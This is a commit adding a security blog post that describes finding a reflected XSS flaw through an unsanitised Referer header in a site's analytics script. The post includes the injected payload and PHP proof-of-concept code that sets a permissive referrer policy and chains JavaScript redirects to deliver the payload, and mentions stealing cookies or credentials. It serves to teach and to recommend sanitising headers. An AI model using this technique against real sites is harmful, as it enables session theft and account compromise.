Content
This commit is contained in:
parent
9d8c010bad
commit
72c1b072cc
5 changed files with 360 additions and 23 deletions
140
content/blog/014-xss-through-referer-header.md
Normal file
140
content/blog/014-xss-through-referer-header.md
Normal file
|
@ -0,0 +1,140 @@
|
|||
---
|
||||
title: XSS Through the Referer Header
|
||||
tags:
|
||||
- Security
|
||||
description: In this blog post, I document how I achieved reflected XSS though a malicious http header.
|
||||
date: 2021-10-14
|
||||
---
|
||||
|
||||
XSS is a vulnerability in which a malicious actor is able to run JavaScript in
|
||||
an unsuspecting clients browser session. Normally, this is done via input fields
|
||||
whose values are reflected back to the user without proper sanitisation.
|
||||
|
||||
In this blog, I demonstrate a method I recently used that injected the payload
|
||||
via the Referer [sip] header.
|
||||
|
||||
Only do this on websites you own or have permission to do so no. It is illegal
|
||||
in most places to do this without permission.
|
||||
|
||||
## Initial foothold
|
||||
|
||||
I found myself looking at a website whose input fields were all well sanitised,
|
||||
getting ready to write a pretty boring report. However, I spotted a snippet of
|
||||
JavaScript in an analytics script that looked something like this:
|
||||
|
||||
```js
|
||||
<script>
|
||||
{
|
||||
...
|
||||
"referer": "site.com/page"
|
||||
...
|
||||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
That sparked my interest so I opened pappy and changed the referer header to `"
|
||||
+ alert(1),"":"`.
|
||||
|
||||
BRILLIANT! That worked. The referer header was not being sanitised.
|
||||
|
||||
|
||||
## Crafting the referer header
|
||||
|
||||
So, that is nice, but it would take some serious social engineering to convince
|
||||
someone to intercept a request in burp / pappy / some other proxy tool, change
|
||||
their referer header to our payload and then submit the request. Really we
|
||||
needed a way to control that header ourselves. For anyone that doesn't know, the
|
||||
[referer header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer)
|
||||
holds the address of the page that makes the request. This basically means the
|
||||
previous page if a link was clicked.
|
||||
|
||||
There is also a related header called [referrer-policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)
|
||||
that controls how much information is sent. I want to send as much as possible
|
||||
so I manually set this to `unsafe-url` for my proof of concept.
|
||||
|
||||
```php
|
||||
<?php
|
||||
header('Referrer-Policy: unsafe-url');
|
||||
?>
|
||||
```
|
||||
|
||||
I am using php here because I know it. I'm not saying php is the best choice.
|
||||
Use what you know and can use quickly for proof of concepts.
|
||||
|
||||
My initial thought was to simply use HTTP redirects to first redirect the user
|
||||
to a page whose url contained my payload, and then from there to the vulnerable
|
||||
page.
|
||||
|
||||
The code for that was:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$payload='"+alert(1),"":"';
|
||||
header('Referrer-Policy: unsafe-url');
|
||||
if ( $_SERVER['REQUEST_URI'] == "/index.php" ) {
|
||||
header('Location: //localhost:8081/index.php/' . urlencode($payload));
|
||||
}else{
|
||||
header('Location: https://vulnerable-site.com/page');
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
That didn't work. After some searching I realised that the referer header is not
|
||||
changed when an http redirect is followed. It does however if the url is changed
|
||||
with JS.
|
||||
|
||||
```php
|
||||
$payload='"+alert(1),"":"';
|
||||
header('Referrer-Policy: unsafe-url');
|
||||
if ( $_SERVER['REQUEST_URI'] == "/index.php" ) {
|
||||
$location='//localhost:8081/index.php/' . urlencode($payload);
|
||||
}else{
|
||||
$location='https://vulnerable-site.com/page';
|
||||
}
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<title>Example</title>
|
||||
<script>
|
||||
document.location="<?php echo $location; ?>";
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
Example
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
So, after hosting this at localhost:8081, I was able to visit it in my browser.
|
||||
If doing this in the real world, I would host it on a public server somewhere
|
||||
and try and convince a victim to click a link.
|
||||
|
||||
In my case, the initial link would be to `//localhost:8081/index.php`. This
|
||||
would then use JS to redirect the victim to to
|
||||
`//localhost:8081/index.php/%22%2Balert%281%29%2C%22%22%3A%22`. We would then
|
||||
use JS again to redirct the user to the vulnerable site. With the
|
||||
referrer-policy header set to unsafe-url, the browser will set the referer
|
||||
header to the url including our payload and trigger our payload. In this
|
||||
example, we are doing `alert(1)`. That's pretty boring and obvious to the user.
|
||||
However, in the real world, we could send another request back to our server
|
||||
with the contents of document.cookie to steal the session, or prompt the user to
|
||||
re-enter their credentials and send that to ourselves. Once you have
|
||||
unrestricted XSS, account compromise is normally possible.
|
||||
|
||||
## Improvements
|
||||
|
||||
Many of you may have noticed ways to improve the payload. For example, I hard
|
||||
coded localhost:8081, the payload and various other information. If you want,
|
||||
feel free to improve it but this is supposed to be a proof of concept, not a
|
||||
well build program. When you're making POCs, it's the one time you really don't
|
||||
need to worry about coding well - it's about getting something that works in a
|
||||
short time frame.
|
||||
|
||||
## Solution
|
||||
|
||||
This issue came about because http headers were trusted. If the site had
|
||||
validated the http header, or encoded it in some way, this would not have been
|
||||
possible. Always sanitise. Never assume that anything that comes in the request
|
||||
is safe.
|
Loading…
Add table
Add a link
Reference in a new issue